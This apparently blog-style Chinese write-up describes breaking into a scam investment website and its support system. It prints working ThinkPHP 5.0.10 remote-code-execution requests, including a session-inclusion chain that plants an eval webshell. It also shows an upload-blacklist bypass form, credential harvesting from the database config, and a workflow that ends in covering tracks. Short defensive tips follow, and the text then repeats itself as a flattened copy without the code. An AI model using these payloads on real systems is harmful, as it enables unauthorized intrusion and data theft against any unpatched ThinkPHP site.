深入诈骗团队
字数 1102 2025-08-06 08:35:44

ThinkPHP 5.0.10 安全漏洞分析与渗透测试实战

1. 目标系统分析

  • 目标系统类型:诈骗团伙的杀猪盘网站
  • 框架信息:ThinkPHP 5.0.10
  • 关键特征:
    • 开启了debug模式
    • 使用TP5框架一键搭建
    • 后台可随意修改用户金额
    • 包含30个真实用户和400多个机器人账户

2. ThinkPHP 5.0.10 漏洞利用

2.1 初始信息收集

  • 发现注册接口可作为入口点
  • 通过报错信息确认框架版本为TP5.0.10
  • debug模式开启增加了信息泄露风险

2.2 RCE漏洞利用

方法一:直接执行phpinfo

POST /index.php?s=captcha HTTP/1.1
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

方法二:Session文件包含Getshell

  1. 设置包含恶意代码的session:
POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
  1. 包含session文件执行代码:
POST /index.php?s=captcha HTTP/1.1
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();

2.3 后续渗透步骤

  1. 使用蚁剑连接Webshell
    • 注意:需将POST参数加入HTTP body中
  2. 查找数据库配置文件:config/database.php
  3. 获取财务和技术联系方式
  4. 登录后台发现诈骗证据

3. 客服系统渗透测试

3.1 信息收集

  • 系统识别:爱客服PHP在线客服系统
  • 基于ThinkPHP二次开发
  • 无直接RCE漏洞可用

3.2 黑名单绕过文件上传漏洞

  1. 漏洞位置:application/admin/controller/Event.php中的uploadimg函数

  2. 漏洞分析:

    • 使用黑名单限制上传文件类型
    • 通过截取文件名最后一个点后的扩展名进行验证
    • 可上传类似index.jpg.php的文件绕过检测
  3. 利用方法:

    • 构造上传表单:
    <form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data">
      <label for="file">晨光客服上传</label>
      <input type="file" name="editormd-image-file" id="editormd-image-file">
      <input type="submit" name="submit" value="submit">
    </form>
    
    • 上传index.jpg.php等双扩展名文件

4. 防御建议

4.1 针对ThinkPHP漏洞

  1. 及时升级到最新版本
  2. 生产环境关闭debug模式
  3. 禁用危险函数:call_user_functhink\__include_file
  4. 严格过滤输入参数

4.2 针对文件上传漏洞

  1. 使用白名单而非黑名单机制
  2. 检查文件内容而不仅依赖扩展名
  3. 上传文件重命名并存储在非web可访问目录
  4. 设置适当的文件权限

5. 诈骗网站特征识别

  1. 典型杀猪盘特征:

    • 后台可随意修改用户金额
    • 大量机器人账户
    • 诱导用户不断充值
    • 承诺高额回报
  2. 安全建议:

    • 警惕"充值领钱"类骗局
    • 不相信"一夜暴富"承诺
    • 注意核实网站真实性

6. 扩展思考

  1. 对于ThinkPHP 5.0.24版本的渗透思路:

    • 检查debug模式是否开启
    • 寻找信息泄露点
    • 检查是否为二次开发版本,可能存在其他漏洞
  2. 信息收集技巧:

    • IP反查
    • 子域名扫描
    • 指纹识别
    • 源码搜索
  3. 渗透测试流程总结:

    • 信息收集 → 漏洞识别 → 漏洞利用 → 权限提升 → 数据收集 → 痕迹清理
ThinkPHP 5.0.10 安全漏洞分析与渗透测试实战 1. 目标系统分析 目标系统类型:诈骗团伙的杀猪盘网站 框架信息:ThinkPHP 5.0.10 关键特征: 开启了debug模式 使用TP5框架一键搭建 后台可随意修改用户金额 包含30个真实用户和400多个机器人账户 2. ThinkPHP 5.0.10 漏洞利用 2.1 初始信息收集 发现注册接口可作为入口点 通过报错信息确认框架版本为TP5.0.10 debug模式开启增加了信息泄露风险 2.2 RCE漏洞利用 方法一:直接执行phpinfo 方法二:Session文件包含Getshell 设置包含恶意代码的session: 包含session文件执行代码: 2.3 后续渗透步骤 使用蚁剑连接Webshell 注意:需将POST参数加入HTTP body中 查找数据库配置文件:config/database.php 获取财务和技术联系方式 登录后台发现诈骗证据 3. 客服系统渗透测试 3.1 信息收集 系统识别:爱客服PHP在线客服系统 基于ThinkPHP二次开发 无直接RCE漏洞可用 3.2 黑名单绕过文件上传漏洞 漏洞位置: application/admin/controller/Event.php 中的 uploadimg 函数 漏洞分析: 使用黑名单限制上传文件类型 通过截取文件名最后一个点后的扩展名进行验证 可上传类似 index.jpg.php 的文件绕过检测 利用方法: 构造上传表单: 上传 index.jpg.php 等双扩展名文件 4. 防御建议 4.1 针对ThinkPHP漏洞 及时升级到最新版本 生产环境关闭debug模式 禁用危险函数: call_user_func 、 think\__include_file 等 严格过滤输入参数 4.2 针对文件上传漏洞 使用白名单而非黑名单机制 检查文件内容而不仅依赖扩展名 上传文件重命名并存储在非web可访问目录 设置适当的文件权限 5. 诈骗网站特征识别 典型杀猪盘特征: 后台可随意修改用户金额 大量机器人账户 诱导用户不断充值 承诺高额回报 安全建议: 警惕"充值领钱"类骗局 不相信"一夜暴富"承诺 注意核实网站真实性 6. 扩展思考 对于ThinkPHP 5.0.24版本的渗透思路: 检查debug模式是否开启 寻找信息泄露点 检查是否为二次开发版本,可能存在其他漏洞 信息收集技巧: IP反查 子域名扫描 指纹识别 源码搜索 渗透测试流程总结: 信息收集 → 漏洞识别 → 漏洞利用 → 权限提升 → 数据收集 → 痕迹清理